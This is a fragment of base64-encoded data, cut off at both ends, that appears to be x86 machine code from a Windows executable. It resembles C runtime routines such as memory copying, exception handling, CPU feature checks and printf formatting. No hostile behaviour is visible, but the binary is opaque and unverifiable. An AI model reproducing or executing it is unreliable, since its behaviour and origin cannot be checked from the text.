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cCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizUQlEEAM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6L1gAABZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1Do8GEAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNRCUQQBW6DDs//9Zi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//Ohm3///hcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6NgIAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zWclkEA/xVQIEEA/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NaiWQQD/FVAgQQD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zWklkEA/xVQIEEA/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUeiAXwAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizUUlEEAx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